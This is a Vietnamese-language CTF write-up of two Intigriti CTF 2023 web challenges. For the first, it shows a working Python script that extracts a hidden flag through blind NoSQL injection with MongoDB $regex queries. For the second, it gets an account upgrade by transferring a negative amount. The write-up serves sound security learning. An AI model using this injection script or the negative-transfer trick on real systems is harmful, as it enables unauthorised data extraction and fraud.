---
# System prepended metadata

title: Intigriti CTF 2023

---

# Web challenges

## 1. CTFC
![image](https://hackmd.io/_uploads/BJvDnsLEp.png)

![image-1](https://hackmd.io/_uploads/HkpwnsUN6.png)
Register và Login vô xem sao

![image-2](https://hackmd.io/_uploads/ryWOhsU4p.png)
Chỉ có mỗi 2 chall và solved cũng không được gì
Vô nghía source thử
<br>

Để ý có đoạn
```
def createChalls():
	db.challs.insert_one({"_id": "28c8edde3d61a0411511d3b1866f0636","challenge_name": "Crack It","category": "hash","challenge_description": "My friend sent me this random string `cc4d73605e19217bf2269a08d22d8ae2` can you identify what it is? , flag format: CTFC{<password>}","challenge_flag": "CTFC{cryptocat}","points": "500","released": "True"})
	db.challs.insert_one({"_id": "665f644e43731ff9db3d341da5c827e1","challenge_name": "MeoW sixty IV","category": "crypto","challenge_description": "hello everyoneeeeeeeee Q1RGQ3tuMHdfZzBfNF90aDNfcjM0TF9mbDRHfQ==, oops sorry my cat ran into my keyboard, and typed these random characters","challenge_flag": "CTFC{n0w_g0_4_th3_r34L_fl4G}","points": "1000","released": "True"})
	db.challs.insert_one({"_id": "38026ed22fc1a91d92b5d2ef93540f20","challenge_name": "ImPAWSIBLE","category": "web","challenge_description": "well, this challenge is not fully created yet, but we have the flag for it","challenge_flag": os.environ['CHALL_FLAG'],"points": "1500","released": "False"})
```
Và
```
@app.route('/')
@check_login
def dashboard():
	challs = []
	for data in db.challs.find():
		del data['challenge_flag']
		challs.append(data)	
	chall_1 = challs[0]
	chall_2 = challs[1]
	return render_template('t_dashboard.html',username=session['user']['username'],chall_1=chall_1,chall_2=chall_2)
```
Có 3 chall nhưng chỉ show ra 2??
Và mình có thử thì biết rằng đầu vào là một json
```
{
    "_id":"_id:1",
    "challenge_flag":"CTFC{cryptocat}"
}
```
<br>

Ở đây server dùng MongoDB, đến đây mình ngờ ngợ phải chăng là 1 bài `nosql injection`??
Phải thử mới biết được
<br>

![image-3](https://hackmd.io/_uploads/rJJjhs8ET.png)
Một số toán tử truy vấn so sánh các bạn có thể tham khảo ở đây [link](https://www.mongodb.com/docs/manual/reference/operator/query/)
Mình có thử 1 toán tử truy vấn so sánh = là `$eq`, đại khái là dùng để so sánh bằng (so sánh chính xác) giữa một trường và một giá trị cụ thể

![image-4](https://hackmd.io/_uploads/By733o84a.png)
![image-5](https://hackmd.io/_uploads/BkI22jLNa.png)
Bên trên là trước và sau khi dùng toán tử so sánh
Vậy là 100% dính `blind nosql injection`
<br>

Việc tiếp theo là dump flag của thằng chall3
Ở đây mình thay `$eq` thành `$regex`
Nôm na là sẽ so sánh flag với biểu thức chính quy của mình
![image-6](https://hackmd.io/_uploads/H1QTnjLE6.png)
Giờ chỉ cần viết script nữa là xong
<br>

Đến đây mình mất khá nhiều thời gian do mình chỉ test trước với 2 thằng chall1 và chall2 và tưởng format của flag là `CTFC{...}`
Và thằng bạn mình đi ngủ mất tiêu nên chả hỏi được format 😑
Loay hoay một hồi thì cũng viết xong script
```
#!/usr/bin/env python

import requests
import string

chars = string.ascii_letters + '_{}0123456789'
url = 'https://ctfc.ctf.intigriti.io/'
cookie = {
	"session": "eyJ1c2VyIjp7Il9pZCI6IjJiNWY0ZjI5MGE4NTQ4Mzk4ZmEyNDUwY2EwY2RlN2QzIiwidXNlcm5hbWUiOiJhYmMxMjMifX0.ZVeXSQ.Tf0yIJNzUdO7HXNsIp36vpyKcTw"
}
headers = {
	'content-type': 'application/json'
}
flag = "INTIGRITI{"

while True:
	for char in chars:
		print("trying: " + char)
		json_data = {
			"_id": "_id:3", 
			"challenge_flag": {
				"$regex": f"^{flag}{char}" 
			}
		}

		r = requests.post(url + 'submit_flag', headers = headers, cookies=cookie, json=json_data)
		
		if 'correct flag' in r.text:
			flag += char
			print(flag)
			break
	if '}' in flag:
		break
```
![image-7](https://hackmd.io/_uploads/Hy5T2iLNa.png)

Flag: ~~**`INTIGRITI{h0w_1s_7h4t_PAWSIBLE}`**~~
<br>

## 2. Bug Bank
![image](https://hackmd.io/_uploads/BysX6iLNp.png)
![image-1](https://hackmd.io/_uploads/r1gVTo8Na.png)

Cũng không có gì đặc biệt lắm
Register và Login vào xem thử
<br>

![image-2](https://hackmd.io/_uploads/ry9IasL4T.png)

![image-3](https://hackmd.io/_uploads/SJ3Uaj84a.png)
Khả năng cao là cần `10000 bugs` để upgrade premium account và lấy flag
<br>

Mình có tạo thêm 1 account nữa để thuận tiện cho việc transfer bugs
Mỗi account ban đầu có `0 bugs`
<br>

![image-6](https://hackmd.io/_uploads/BkqOaiLEp.png)

![image-5](https://hackmd.io/_uploads/S1VK6i84T.png)

<br>

Đến đây mình thử truyền vào số âm xem thử có được không
![image-7](https://hackmd.io/_uploads/HJG96iUV6.png)

![image-8](https://hackmd.io/_uploads/H149ajUNa.png)

Ú là la, triển thôi 🤣
<br>

Transfer `-9999 bugs` và được
![image-9](https://hackmd.io/_uploads/ryDopoLEp.png)

Nâng lên premium thôi
![image-10](https://hackmd.io/_uploads/rJoipoUNT.png)

Flag: ~~**`INTIGRITI{h3y_wh0_541d_y0u_c0uld_cl0bb3r_7h3_d0m}`**~~